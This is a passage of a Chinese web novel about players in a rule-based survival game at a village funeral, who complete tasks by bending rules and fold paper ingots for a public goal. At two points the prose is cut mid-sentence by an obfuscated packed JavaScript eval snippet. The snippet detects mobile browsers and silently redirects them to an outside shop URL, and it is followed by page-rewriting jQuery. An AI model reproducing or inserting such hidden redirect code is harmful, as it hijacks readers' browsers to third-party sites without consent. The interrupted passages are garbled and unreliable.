这么一说,喻诗瑭能理解昨天他为什么会给自己警告了,是真没把自己当根葱:“所以你一开始是想尝试跟他组队?” 谷琳琳有些难堪地点了下头,害怕喻诗瑭他们误会自己是把他们当备胎,着急却不知道该说什么才能挽救一下这个情况。 没想到喻诗瑭反倒先赞同起她:“按你说的来看,严棕禾确实是个不错的合作对象,起码不用担心被背刺,再说,被大佬带飞不丢人,觉得丢脸是因为自己没大佬带。” 谷琳琳傻眼:“……啊?” “就是啊。”希泽抬手挥了下不存在的刘海,表情小骄傲,“我以前就是那个总带人飞的大佬——诶?那小喻姐,我们要不要拉他入伙?” “这个……可能会有点困难。”谷琳琳难堪的感觉没了,现在只剩代替尴尬的窘迫,“严棕禾这人虽然不为难其他玩家……但是他有一个非常致命的点。” 希泽:“啥?” “他——”谷琳琳不好意思地看向喻诗瑭说,“记仇,睚眦必报的程度。” 喻诗瑭:“……………………我们先去任务吧。” 18. 三更鼓 不知道是因为入秋的原因,还是村里的天气向来如此,即便是大中午,村里依旧看不到什么阳光,天气阴得像是随时有暴雨袭来。 喻诗瑭他们先在村里绕了一圈才重新回到村长家,村长的院子里已经支起不少大圆桌,每张桌上都铺着薄薄一层白色塑料袋,为了担心不时刮来的风把袋子吹飞,边缘还放了几块小石头压着。 不少圆桌都已经坐满,熙熙攘攘的,喻诗瑭让希泽确认了一下玩家人数,发现加上他们在内一共12个人。 还差一个。 喻诗瑭暗忖,要么是跟她一样想测试一下个人任务的情况,要么就是——人没了。 只是他们不知道这人怎么没的而已。 “先进去找个位置坐。”喻诗瑭话刚说完,张婶就不知道从哪窜了出来,热情地把他们三拉到最靠近村长家门口的那一桌,她环顾一圈,发现这桌除了他们三个,其他全是NPC,都在那热情地跟他们打招呼,友好得仿佛多年未见的亲戚。 喻诗瑭笑容一扬,开始挨个叔叔婶婶问好,认不认识不重要,叫不叫的出名字不重要,重点是要大大方方的,该嘴甜的嘴甜,该严肃的严肃,自然熟络的真跟他们看着长大似得,惹得其他桌几名玩家时不时撇过余光观察。 好不容易挨个问候完,等菜期间人还没坐定,希泽就捂着嘴,侧身小声地问:“小喻姐,你刚才说不要浪费食物,那要吃到什么程度才算不浪费啊?还有——” 希泽扫了眼棚子另一边正忙着炒菜的村民,一个个大铝盆里装满了备菜,看得希泽口水一咽,又是期待又是害怕,“要是上多少吃多少,那不得撑死啊?” “你能吃多少是多少,其他的我想办法。” 喻诗瑭敢说,希泽就敢信,也没问对方想了什么办法,安心地又坐直身体,开朗地应付着桌上的每一个NPC。 菜上的很快,双手才能端稳的长盘子装得满满当当,稍一不稳都能溢出汤汁,香味更是在锅里时就馋得人总是分神。 看着一盘接一盘的菜,希泽眼睛都要直了,嘴上念叨着不能浪费,握着筷子的手是一点都不犹豫,东一块色泽鲜亮的红烧排骨,西一筷翠绿清爽的炒蒜苗,一个不注意,一碗满当当,清香浓郁的排骨汤就被递到了手边。 “小喻姐,这个好吃!唔!这个也好吃。”没一会希泽嘴上的“不能浪费”就被“这个好吃”给替换了。 连谷琳琳都闷头吃的顾不上开口评论。 喻诗瑭一边不动声色地笑着推掉婶子们的投喂,一边侧目观察其他几桌的玩家,全是一副埋头苦吃的架势。 总不能真得吃完全部食物吧? 喻诗瑭目光落回已经多到被交叠摆放在桌的菜盘上,以她的目测,这桌上的食物全垒在一起都能摞成一座小山了,那几个NPC也没动几口的样子,这一桌光靠他们三个人吃,撑死估计都吃不完。 不能浪费食物是没错,但让人暴饮暴食也不合理吧? 合理……喻诗瑭的脑子又转到锦鲤给的提示上——“灵活遵守每条规则”,根据之前的情况来看,她现在怀疑这个“灵活”指代的会不会是“合理性”? 也就是,只要在合理范围内钻规则空子,就不会被系统判定成违规? “小喻姐,小喻姐。”好一会,希泽含含糊糊地声音又传来,他端着一盘满当当的食物,腿已经往外迈了一半,一副随时起身的状态。 喻诗瑭回神:“怎么了?” “我能不能出去走走,边走边吃。”希泽耷拉着眼角说,“想给胃再空出一些富裕。” “去吧。”喻诗瑭叮嘱了一句,“不要出院子,另外小心手上的食物。” “明白!一定端得稳稳当当。”希泽给个保证,立刻站起来,他感觉再坐下去胃都要叠在一起了。 希泽刚走,谷琳琳也小心翼翼地跟喻诗瑭提出请求:想走一走消消食再回来吃。 喻诗瑭想了下,让她抱上一瓶还没开封的汽水,同样让她只能在院子里转,不要出去。 谷琳琳疑惑不过两秒就明白了喻诗瑭的意思,抱紧了怀里的汽水,用力地点了点头。 等她离开,喻诗瑭回头看了眼桌上还剩三分之二的食物,思考片刻,脸上又堆起乖巧好奇的笑容,开始跟桌上的叔叔婶婶们唠起来。 另一边希泽端着食物沿着院子围栏的内部来回走,边警惕地观察四周,边往嘴里塞食物,看上去像一只机警的护食犬,直到有人在他身后怯生生地开口。 “不好意思,能麻烦你让一下吗?” 听到声音的希泽猛地扭头,把站在他身后的女孩吓得倒退一步,稚嫩的脸上满是惊吓。 虽然对方是个年纪不大的孩子,但希泽还是牢记护食的叮嘱,护着盘子问:“怎么了?” “我……”女孩指了指希泽后面的方向,小声地说,“我想上厕所。” 这条道不宽,希泽是看这边没人才一直在这块绕来绕去,完全没注意到侧边还有路。 “啊,不好意思不好意思。”希泽赶紧侧身让路,“你快去吧。” “谢谢。”女孩低着头,准备快步越过希泽,但她刚迈出没两步又停了下来。 “怎么啦?还挡着吗?”希泽又往围栏上贴了贴,想给她让出更多的路。 “你……”女孩瞟了眼希泽手上的食物,表情犹豫地又偷偷看了眼不远处,跟着小声嘟囔了一句。 “啊?”希泽没听清,护着饭,脑袋往下低了低。 女孩又快速地说了一遍:“不要浪费食物。” “我没浪费——哦!”意识到女孩误解了什么,希泽笑着解释,“我是吃撑了来这边边走边吃,不是要倒掉。” “哦哦。”女孩明显松了口气,红着耳根重新低下头,看上去像是恨不得脚底抹油跑得飞快。 希泽乐了,谢字在嘴边还没来得及出口,表情骤变,抓着盘子一个侧身,堪堪躲过一个身影,盘子上的几只大虾却因为速度过快而产生的惯性,往另一侧滑去。 糟糕!不等他反应去护,另一双纤细白嫩的手怼了上来,替他挡住下滑的大虾,同时稳住盘子倾斜的角度。 “!!!” “!!!” 希泽跟替他护住食物的女孩对上视线,两人都从对方的眼神中看到了惊慌。 “你有病吧!”希泽转身对着故意过来的陈柏北就是一个中指,“眼睛有问题不知道摘了洗洗啊!” “挡路的还能恶人先告状啊。”陈柏北说完,用阴狠的目光撇了眼女孩,丢下一句,“碍事的东西。” 女孩吓得缩回手,手心因为沾了油渍不敢蹭 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确认女孩没有受到实质伤害,女人抬起头,将视线在希泽跟陈柏北两人之间来回扫了一圈,最终把目光定在陈柏北身上。 “看什么看?”陈柏北低头压着声音警告,“管好自己女儿,否则哪天出事了就是她活该。” 女人没说话,只是冷冷地盯着陈柏北又看了几秒,跟着才护着自己的女儿转身离开。 而依偎在女人怀里的女孩,不安地侧过头,担忧地眼神穿过缝隙看向希泽,但很快又被女人遮挡住了视线。 “啧,碍事的小崽子。”陈柏北低声啐了一口,抬眼又想挑衅希泽,表情却出现瞬间迟疑,随后有所顾虑一般,改为用中指隔空点了他两下,在希泽愤怒的眼神中晃悠地也回了座位。 “没事吧?”刚过来的喻诗瑭看都没看陈柏北,抬手拍了拍希泽的背,顺便看看地上有没有他不小心掉落的食物。 “小喻姐我没事。”希泽捏着自己的盘子,发出被气急的颤音,“但这陈柏北就是纯恶心人,他这样能有什么好处!” “先回去,别管他。” 喻诗瑭把气得胸口直起伏的希泽带回座位,早一步回到座位的谷琳琳赶紧开口安抚:“这种就是故意到处挑衅,见机捡漏的人,你看他只敢挑新人或是找弱一些的女性下手,在那些厉害的人面前屁都不敢放一个!就是那个什么,那个,对!孬种!” “你也会骂人了诶。”希泽注意力立马被转移,对谷琳琳新上的用词表示满意,“可以啊你,又进化了!” 歪打正着的谷琳琳:“……” “好了,这人之后再收拾。”喻诗瑭的食指在希泽盘子旁轻点了下问,“这些还吃的下吗?” “虾还可以,肉是真吃不下了。”希泽脸都绿了,没想到自己有一天能吃肉吃到恶心。 “小喻姐,我也吃不动了。”谷琳琳苦着脸附和。 两道眼巴巴的视线同时挂到喻诗瑭身上,她“嗯”了一声问:“信我吗?” “当然!”两道毫不犹豫的声音,重叠得相当坚定。 “行。” 喻诗瑭面无表情地比了个“OK”的手势,气定神闲地说:“我搞定。” 19. 三更鼓 “小喻姐,小喻姐。”希泽跟在喻诗瑭身后条尾巴一样,同时忍不住一步三回头地往村长家的方向看,“我们就这么走了真的没事吗?” “能有什么事?”喻诗瑭在前面走的头也不回,跟希泽形成鲜明对比。 “就是我们让隔壁村的村民把食物打包带回去。”希泽两步一跳窜到喻诗瑭身边,“这不算作弊吗?” “这样怎么能算作弊呢?”喻诗瑭反问,“任务只是让我们在村长家吃完午餐,不是吗?” “可是严棕禾当时给的三条规则里,不是有一条说不能浪费食物吗?”希泽提醒,“还是你跟我们说的呀。” “对呀,规则说不能浪费食物,但是——”喻诗瑭双手一摊,无辜脸上线,“我们浪费了吗?” “……哦!”希泽双手一拍,眼睛里的灯泡瞬间亮了,可没两秒,灯泡又变成了问号,“那小喻姐,你是怎么确定那些村民既愿意打包,又能保证他们不会浪费粮食的啊?” “我们昨晚不是做过测试了吗?” “啊?什么测试?”只记得自己演技炸裂的希泽,眼里又出现了熟悉的茫然。 “就是测试过那些真NPC的自主性,有多高。”喻诗瑭指的是昨天他们在灵堂里闹得那一通,“你没发现吗?在这个游戏里,只要你的行为,要求都合情合理,哪怕只是在当下的情景里合情合理,那么就算你做出打破NPC固定思维与流程的‘意外行为’,他们都自动修正,并按照合乎情理的反应继续下去。” 喻诗瑭不紧不慢地说:“村民吃席打包剩菜回去,没有比这更合理的行为了,他们突然开始糟蹋食物,才不合理。” “哇塞!!那这么看,龙纹宣传视屏里那句‘灵活度极高,真人般沉浸式体验多变玩法’的广告语,还真的没骗人。”希泽想到之前《无限规则》宣传片里的广告词,在心里自我纠结了一下,最后还是决定公平地给游戏加上一分。 “可是小喻姐。”谷琳琳不在乎游戏宣传有没有虚假夸大的成分存在,她只在意临走时看到其他玩家还在吃,心里有点不安,“咱们这样算是钻规则空子吧?会不会被系统判违规啊?” “规则是死的,但人是活的,再说,你不是说系统一直标榜自己公平吗?”喻诗瑭嘴角微扬,明明是个浅笑的表情,却因为她这张脸成了嘲讽,“是它自己设定的规则,自己有漏洞就要自己承担,把规则漏洞归咎到玩家身上,可一点也不公平,更何况——” “反馈规则漏洞,不就是内测玩家的主要任务之一吗?” “额……”谷琳琳还想再说些什么,但仔细想想这话相当合理,粗略细之下都不觉得有什么不对。 “那……那……”谷琳琳那了半天,终于憋出一句,“那要是万一呢?” “万一的话——”喻诗瑭没有思考太久,直接给出回答,“那我只能重开一局了,起码我们知道了这个方法行不通。” 直到谷琳琳听到这回答,才后知后觉地反应过来喻诗瑭之前在席上的行为。 难怪刚才喻诗瑭说的是她搞定,并且在跟村民沟通时让他俩不要说话,她已经开始习惯听从对方的安排,所以没有多想,现在她明白了,原来喻诗瑭是抱着这样的想法。 想到这,谷琳琳垂在身侧的手不受控制地抖了起来。 “你不用摆出这副表情。”喻诗瑭开口打断有可能来的煽情,“选择是我自己定的,不让你们一起说,也只是为了避免出现我可能控制不了的意外,不是你脑补的什么舍己为人的剧情,别想太多。” 她这话说得真心,一开始她就没想过让他们两个参与进来,因为在她看来,与其浪费时间教有可能失控的希泽,跟勇气不足的谷琳琳一起去跟村民周旋,做这个测试,不如自己简单一点,几句话搞定。 “可是……” “可是什么?”刚在专注任务面板的希泽没参与到前几句,这会看谷琳琳表情古怪,好奇地问,“我错过了什么吗?” “没错过什么。”喻诗瑭抢先回答,熟练依旧地转移了希泽的注意力,“任务面板研究出花来了吗?” “你怎么知道我在看任务面板!?”希泽震惊脸,“自己的任务面板不是只有自己才能看得见吗?” “你眼睛都盯直了,肯定是在看界面,至于是不是在任务面板——”喻诗瑭吊人胃口地停顿了下,收尾,“我乱猜的。” “神了!”希泽的盲目崇拜又上了一个台阶,“我就是在任务面板盯着个人任务呢,它到现在还是未完成的状态,是不是表示我们任务没完成啊?” “再等等看吧。”喻诗瑭回答得不慌不忙,“如果等时间过了还没反应,我们就只能等明天再继续,既然是测试,那就要有试错的心里准备。” 希泽对试错有心理准备,但对喻诗瑭说得“时间”没有想法:“过什么时间啊?” “饭点时间。”喻诗瑭再一次习惯性地抬起左手,空荡荡的腕表让她想起昨天同样的条件反射。 自己失忆前是有戴手表的习惯吗?如果有的话,那她的手表呢? “啊……”希泽拖着个长音问,“那我们怎么知道饭点时间,具体是几点啊?” “这个不重要,如果任务完成,到点系统自动会通知我们。”喻诗瑭话音一转,“同样,如果到晚餐前还没反应,那就说明我们的任务确实没有完成,这招行不通,明天中午还得想其他办法。” “也是。”只要有人陪着,希泽就不愁,立刻又乐观起来,“那小喻姐我们现在干什么?” “再去熟悉一下地形。”喻诗瑭打开任务地图,继续午餐前他们绕村的行动,“地图上面只标记了房子跟路的位置,没有具体门牌跟细节,加上白天晚上在视觉上存在差距,所以我们要趁着天亮,多熟悉一下道路,走吧。” “好哦~~”希泽立刻打开任务地图,追了上去,同时不忘招呼还在发呆的谷琳琳快点。 “来了!” 谷琳琳下意识地回应完这句就没再开口,一路沉默地走在两人身后,也不知道在想些什么。 本来村子就不大,三人没一会就走完了两圈,正准备开启 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734328|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三圈环绕时,耳边传来了系统声的提示音。 “叮!恭喜玩家完成个人任务‘在村长家吃完午餐’,个人积分+1,请再接再厉~” “小喻姐!任务真的完成了!”希泽停下脚步,相当震惊,“但是就给了一分?是因为这任务太简单吗?” “应该是了。”联想起谷琳琳之前说的,喻诗瑭猜测,“琳琳不是说过,这就是个初级本,估计就是让新人玩家熟悉一下规则跟玩法,任务通常不会给的太难。” “它第一个任务可不是这么想的!”希泽不敢苟同,“总不能是为了给玩家一个下马威吧?” “叮~” 希泽这边地质疑还没得到回答,系统就像是感应到了他的嫌弃,迫不及待地给出了下一个任务。 “个人任务已领取,请玩家务必在时限内完成,若任务失败,玩家将被扣除相应积分。” “这么快?我看看!” 希泽在看清任务面板上的个人任务后,表情有一瞬间地扭曲:“这啥啊?” 个人任务:在三更时段收集足够的槐木 任务时限:69:59:59 这一个任务要70个小时? 同样已经打开任务面板的喻诗瑭,先在心里算完时间,才重新回头去看任务内容。 喻诗瑭:“……” 不是?大半夜的她要去哪里收集槐木?这个足够的量又是多少?这系统给的任务怎么简单一个疯一个的? “刚说任务简单,这就给人上难度。”希泽不能理解,不给尊重,“这大晚上的去打什么银钉,这任务它合理吗?不过,什么是银钉啊?” 喻诗瑭滑动指环的手停下,对自己的听力产生了一丝地怀疑:“你刚才说什么?” “啊?我吗?”见喻诗瑭确实是在看自己,希泽不明白,却还是重复了一遍,“就……大晚上的去打什么银钉,这任务它合理吗?不过……” “等等。”喻诗瑭没忍住打断他,她现在有点怀疑自己跟希泽之间,可能有一个人不识字,“你的任务是什么?” “在二更时段打够所需的银钉……怎么了?”察觉到喻诗瑭的脸色不对,希泽小心翼翼地问,“小喻姐你知道这银钉是什么?” “不知道。”喻诗瑭不光不知道银钉是什么,还反复看了几遍自己的任务,最后还是相信了自己的识字能力,“但我的任务是‘在三更时段收集足够的槐木’。” “啊?你的是这个吗?”希泽第一反应也是自己看走眼,甚至想把任务抄下来,跟喻诗瑭确认一下这几个字是不是这么念得。 “你的任务是什么?”喻诗瑭转头问谷琳琳。 “我的?我的,我看看……”谷琳琳不明所以,单纯是被希泽的反应给带慌张了,“我的是‘在三更时段将青石打磨完成’。” “我们三个人的任务都不一样?”希泽大吃一惊,“怎么会这样?” “等等!?你们不知道吗?”谷琳琳看上去比他俩更震惊,慌乱地举手表示,“个人任务就是会不一样的啊!” 20. 三更鼓 天黑得比喻诗瑭以为的还早,六点刚过半,天边就连点余光都没留下。 喻诗瑭带着两人饶了一下午,总算是在太阳彻底消失前回到村长家附近,秋风吹过光秃秃的树梢,把差点赶出一身汗的三人吹得一激灵。 喻诗瑭揉了揉双臂立起的鸡皮疙瘩,脚步一顿,停在村长家的院子外面。 另两人不知道她要干嘛,却也配合地老实停下,默不作声地看着她从兜里掏出怀表,借着院外挂着的白灯笼那昏暗闪烁的光线,看了一眼时间。 入夜的秋风还在发力,带着股淡淡泥土气的风,将那几个白灯笼吹得来回轻晃,三人印在孝幡上的影子随风晃动,虚虚实实,显得格外诡异。 还有时间。 喻诗瑭将看完时间的怀表放回口袋,顺便搓了下有点发寒的手。 下午她从谷琳琳那里彻底明白了这坑爹的个人任务机制。 只有这种初级本,才会在一开始连续给所有玩家三个同样的任务,之后所有玩家的个人任务就会进入随机模式,开出什么任务来全看命。 至于系统发布个人任务的时间,也是一致的,但有一个大前提,就是玩家必须完成上一个任务,否则他是收不到系统发布的新任务。 也就是说,是会出现有玩家一直到副本结束,一个任务都没完成的情况,只不过这种情况在中高级本里比较容易出现,尤其是特级本。 因为中高级,还有特级副本里,所有玩家的任务不光不同,还有可能出现矛盾任务的情况,也就是两个或两个以上的玩家,抽到完全相左的任务,就看谁先完成。 希泽认为开头初级本里的头三个任务相当于是新手福利,喻诗瑭不置可否,她比较满意的是自己需要测试的内容,直接少了一项。 现在需要搞清楚的就是公共副本机制。 喻诗瑭把视线移到院内。 白天摆在院子里的桌椅没被收起来,只是用处暂时成了摆放杂物。 一直敞开的大门内,客厅暗黄的灯光,灵桌上摆放的烛光,丧盆里冥钞燃烧的火光,几重光源,印得人影层层相叠的晃眼。 “哇,里面好多玩家啊。”希泽视力绝佳,对着室内的人脸一个个认过去,“只有两个不在,其他都在里面。” 谷琳琳不确定地说:“应该都是在做公共任务……吧。” “先进去吧。”喻诗瑭一脸认真地表示,“我们得快点公共任务,早点结束这个副本。” “啊?怎么了?”谷琳琳没见过她这种认真到略显严肃的表情,立即紧张起来,“出什么事了小喻姐?是有什么问题吗?” “有啊。”喻诗瑭揉了揉有些发酸的颧骨,淡淡地回答,“快哭不动了。” 这回答实在超出谷琳琳能想到的所有范围,大脑瞬间跟死机了一样不动了,张嘴发出的声音纯是语无伦次的本能:“……啊,那是…确实啊,哈哈是的…” “啊!可我觉得我的演技还没有得到完美的发挥。”已经沉浸在演技艺术里不知天地为何物的希泽,发出遗憾的叹息,不过脑子尚在活动的他还是提出疑问,“可是小喻姐,下午咱们不是才说过,公共任务第一的那个容易成为出头鸟吗?我们要是被人盯上怎么办?” “哦,被盯上的话……”喻诗瑭双手一摊,惋惜地说,“那只能算他倒霉了。” · 公共任务如果在副本时限结束前完成,那副本就会进入自动修正的倒计时状态,所有任务都会失效,哪怕是踩着倒计时开始红线完成的任务,玩家也不会再获得积分。 于此同时,副本会直接进入主线剧情,倒计时清零后,所有玩家将进入结算页面,副本结束。 可如果副本走完主线剧情,完成公共副本100%任务的玩家,却在倒计时清零前出局,那公共任务重新顺延到下一名玩家身上,副本则因完成主线剧情,将进入无限模式。 而所谓的无限模式,是指副本倒计时停摆,系统每隔三个小时开启一条规则,直到副本只剩最后一名未出局玩家,副本才会进入结算页面,副本结束。 喻诗瑭在迈进大门前,把谷琳琳下午给她提供的公共任务信息又过了一遍。 也就是说公共任务不是时间战,更准确一点的说,完成公共任务确实需要花时间,但需要花多长时间完成,最终还是取决于玩家想把副本战线拉多长。 站在部分玩家的角度,在副本里待的时限越长,能接到的任务就多,那跟任务绑定的规则也会越多,淘汰其他玩家的几率就变高了,同样,积分也会更多。 所以昨天晚上公共规则才会在20%的地方停下,毕竟距离副本时限还早。 但她不行,她必须尽快离开副本回到待机界面,因为副本里可用的信息实在太少了。 谷琳琳跟希泽两人之前都申请过《无限规则》的内测,如果自己也是因为申请过内测才被游戏拉进来,那待机界面跟个人绑定的邮箱里,就一定会有跟游戏公司往来的邮件。 就算不能立刻知道自己为什么会出现在这个游戏里,又为什么会失忆,但起码能找到不少跟自己有关的信息。 无论如何,都比待在副本里强。 “诶老王家的闺女?你们怎么来了?” 喻诗瑭刚踏进屋内,已经混熟的声音立马精准捕捉到她,她一个丝滑转身,悲伤又凝重的神情瞬间上脸,对着走过来的张婶,压着嘶哑的声音说:“我们过来看看有没有什么我们能帮上忙的。” 这话被正在丧盆旁烧纸的吴婶听见,眼眶又是一红,连连招手让她过去。 喻诗瑭顺水推舟坐到吴婶身边,过去的几步路上,还不忘用目光扫过视野范围内的玩家,她发现好几个都拿着巴掌大的金色锡箔在那里折,具体在折什么她没看清。 “吴婶,有什么我们可以帮忙的吗?”喻诗瑭的声音又轻又乖。 吴婶握着喻诗瑭的手轻轻拍了拍:“都辛苦你们一个早上了,这会也没什么急需帮忙的,你们还不如回去好好休息休息。” “婶子看您说的,我们就是在家实在休息不好,所以才来看看。”喻诗瑭一个反手回握,眼神真挚,语气伤感,“您现在让我们回去,不是更让我们难受吗?” “好孩子,都是好孩子。”吴婶抹了把泪,左右看看,最后选了个最轻的给他们:“要不就麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755325|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们帮忙叠些金银锭,这东西烧起来也快。” 喻诗瑭知道按照这边的习俗,棺材正式下葬前,丧盆里的火是不能灭的,大户人家会一直烧折好的金银锭,或是印好的冥钞,普通人家则会烧黄纸。 所以是折金银锭吗? “好的婶子,那我们先去折金银锭,如果有什么需要帮忙的随时喊我们。”喻诗瑭说完又状似无意地问了一句,“对了婶子,今早听到张婶说需要银钉,不知道这会够了没?不够的话我们也可以帮忙。” “这我还真不知道。”吴婶顺口说完,“这得问街口铁铺的孙老铁,张婶说是交代给他办的。” 喻诗瑭见好就收地点头:“行嘞,没事婶子,回头看到张婶我问问她,要是需要帮忙的话,我们再去找孙叔。” “好孩子。”吴婶连连夸了几句,最后才说,“以后有什么婶能帮上的,尽管来找婶子啊。” “您放心婶子,我一定记得。” 喻诗瑭细节演到底,又跟吴婶拉扯了几个来回,才站起来给希泽跟谷琳琳使了个眼色,带着两人走到敞开门的侧屋内,一人拿了一沓锡箔,面面相觑。 希泽苦恼地掂了掂手中的锡箔,问喻诗瑭:“小喻姐,你会折吗?” 喻诗瑭:“不会。” 谷琳琳赶紧接上:“别看,我也不会。” 看到谷琳琳连说带摇头的,希泽开始怀念起个人终端的好,不会的东西立刻就能上网查。 “学不就会了。”喻诗瑭冲着一旁长桌上的几人一抬下巴,“这么多人呢。” 长桌那边确实坐了不少人在折金银锭,并不全是玩家,还有几个脸生的NPC,谷琳琳还是有些不放心地问:“可小喻姐,我们还没确定这些人是不是本村人,贸然过去问,违规了怎么办?” “那就别问无法确定的人不就好了。”喻诗瑭扫过所有人,最后把目标定在了长桌最角落,一大一小的母女身上,“别忘了,玩家可一定是本村人。” “!!!!” 谷琳琳震惊且觉得荒唐,那些可是玩家啊,不坑他们都算善良了,还指望他们帮忙教?玩家里能有几个好人? 当然,像她这种单纯想当大佬腿部挂件的除外,她这不是在帮玩家,而是在帮自己的再生父母。 大概是谷琳琳的表情太过赤裸裸,喻诗瑭给了她一个安心的眼神,表示:“放心,我有办法。” 不知道喻诗瑭又有什么骚想法,谷琳琳一天天跟坐过山车一样的心还没彻底放下,就听到希泽又在那突发奇想起来。 “小喻姐,既然叠金银锭是公共任务,那如果我把别人折好的金银锭给拆了,那他完成的公共任务进度会不会往后退?” 谷琳琳直接被希泽的话吓出表情包:“……??” 相较于谷琳琳,喻诗瑭反倒认真思考了一下,郑重回答:“进度会不会后退不知道,但你被打成进度条,应该是肯定的。” “小喻姐你说话就是这么幽默哈哈哈哈哈哈。”希泽跟被戳中笑点一样停不下来。 喻诗瑭:“……哈哈哈。” 谷琳琳:“……” 难以理解。 21. 三更鼓 喻诗瑭坐到小女孩对面时,坐在女孩旁边的母亲甚至头都没抬,似乎对他们三人的到来并不在意,反倒是小女孩在看到来的是希泽后,下意识扬起笑脸想打招呼。 只不过这笑容刚扬到一半就蓦地僵在脸上,跟着慌张地低下头,加快了折金银锭的速度,只是动作稍显凌乱。 喻诗瑭见状没有贸然开口,只是把拿来的锡箔放到桌面摆好,抽出一张夹在指尖,不慌不忙地来回摆弄,一副双耳不闻窗外事,一心研究的架势。 谷琳琳坐在喻诗瑭的左边,既不敢开口也不敢乱动,老老实实的充当背景板。 只有希泽挂着没心没肺的笑容,坐在小女孩母亲的对面,声音轻快地冲小女打起招呼:“你好呀,你还记得我吗?中午吃饭的时候我们见过,我叫希泽,你是叫静静吧?” 小女孩受惊般缩了缩肩膀,拿着锡箔的手指一个无意识地用力,直接把折了一半的金银锭给对折成了V字,自己却毫无察觉,低垂的脑袋悄悄转向母亲那边,却发现对方仿佛什么都没听到似得,还在那折金银锭,顿时更慌了,因为她不知道这是不是在默认自己可以跟他们搭话。 女孩的举动全都落在喻诗瑭的余光里,她当做没看到一般,继续折腾手中的锡箔,同时右膝往旁边一侧,撞上希泽的左腿。 虽然希泽偶尔脱线,且关注点清奇,但总能神奇地对上喻诗瑭的脑回路,被她这么一撞,愣是对上了天线,把还要开口的话硬吞了回去,等着女孩先开口。 半晌,女孩心里地迟疑没挣扎过教养,她小心谨慎地半抬头,向上的视线怯生生地将三人都看了一遍,最终落在笑容灿烂的希泽身上,小幅度地点了下头,轻声回答:“是……” 这下不用喻诗瑭提醒,希泽就认真地道起谢:“对了,我还没谢谢你中午帮我的事,如果不是你帮忙的话,我估计就该提前下线了,谢谢你啊静静。” “不客气……”连续两句对话都没被母亲制止,静静的胆子大了一点,跟希泽你一眼我一语地聊了起来。 直到希泽问她陈柏北没有来为难她们吧,静静才犹豫地摇了摇头,回答了个:“还没有。” 还? 喻诗瑭被女孩的用词给拉过注意力,她刚想放下手中被折出无数痕迹却没型的锡箔,一个折叠好的金锭就被人推到了手边。 是女孩的妈妈。 不过对方只是把金锭推过来,既没有说话,也没有抬头,仿佛这个金锭是自己长腿走过来的一样。 什么意思? 喻诗瑭抬头,先注意到的是静静诧异的表情。 看得出她在努力克制了,但还是忍不住往自己母亲那来回看了几次,不藏事的脸上除了诧异就是不解,以及一丝放松。 “小……” 喻诗瑭在希泽疑惑刚出口的瞬间,用膝盖把他的话又给怼了回去,在三人不知所措的目光中拿过金锭,动作缓慢地拆开金锭。 金锭的折法其实并不复杂,喻诗瑭只是轻轻拆开中间塞进去的部分,金锭就已经半敞,露出藏在里面的一张纸条。 喻诗瑭不动声色地将纸条转移到自己的手心,随后又把金锭按着折痕叠了回去,用力压紧,放回原处。 她既没道谢,也没再抬头,直接拿过被自己蹂躏过的锡箔,开始按着刚才拆金锭的过程,折了起来。 谷琳琳动作倒是快,盯着喻诗瑭的动作开始有样学样。 反观希泽跟静静对视了一眼,都从对方的眼中看到了“懵逼”两字,静静刚想开口,一直默不作声的母亲突然头也不抬地让她快点折。 静静肩膀一抖,不敢再说话了,低下头加快了折金银锭的速度。 失去了说话搭子的希泽只能赶上喻诗瑭的动作,略显笨拙地折了起来。 除了一开始几个金锭因为手生,折得慢且丑以外,喻诗瑭后面越折越上手,期间她还不忘分神盯着自己的任务面板。 在第十个金银锭完成后,公共任务的进度条终于有了动静,从0%一跃成了——0.1% 喻诗瑭:“……” 好消息:公共任务真的是折金银锭 坏消息:她得折一万个。 就算以十秒一个的速度算,一万个也要将近二十八个小时。 按照八小时工作制,那也要上三天半的夜班。 喻诗瑭想到今早系统公布的最快进度数据是20%,数据是每早上八点统一公布一次,也就是说,昨晚有人折了——2000个?! 她一时间不知道该震惊于这个数字,还是这人的内卷程度。 不过这个数目,这个时间占比,只要昨晚在这待到最后的玩家,不是很容易就能推断出目前谁是进度最高的人吗? 毕竟这任务是在所有人眼皮子底下完成。 “小喻姐……”谷琳琳鬼鬼祟祟地跟着声音一起飘过来,整个人都快贴到喻诗瑭身上,生怕自己说的话漏出去一个音,“我进度条动了。” “多少?” “……0.1%” 好命苦的语气,喻诗瑭表示:“我也是。” “怎么玩个游戏还有KPI啊。”谷琳琳蔫蔫的,“我从现实牛马变成电子牛马了。” 喻诗瑭:“……折吧。” “好哦……”谷琳琳缩了回去。 “小喻姐,我……”希泽靠近。 “一样,折你的。” “好哦……”希泽跟被按了底座的弹簧一样,又回去了。 房间里除了玩家,还有来来回回帮忙的NPC,零零散散坐了十几个人却没人说话,唯一的声音来源,就是一个门槛之隔的客厅传来的连哭带嚎。 每个人动作一致的埋头苦折,咋看之下,还以为自己误入某个流水线工厂车间。 “咚,咚,咚。” 也不知道过了多久,有规律的更鼓声突然从房间另一侧的窗户外传来,坚强地在客厅传来的杂音中夹缝生存。 一更天了。 喻诗瑭看着堪堪苟到0.6%的进度条,停下开始酸软的手,敲了敲后脖颈,尝试缓解长时间低头带来的僵硬感。 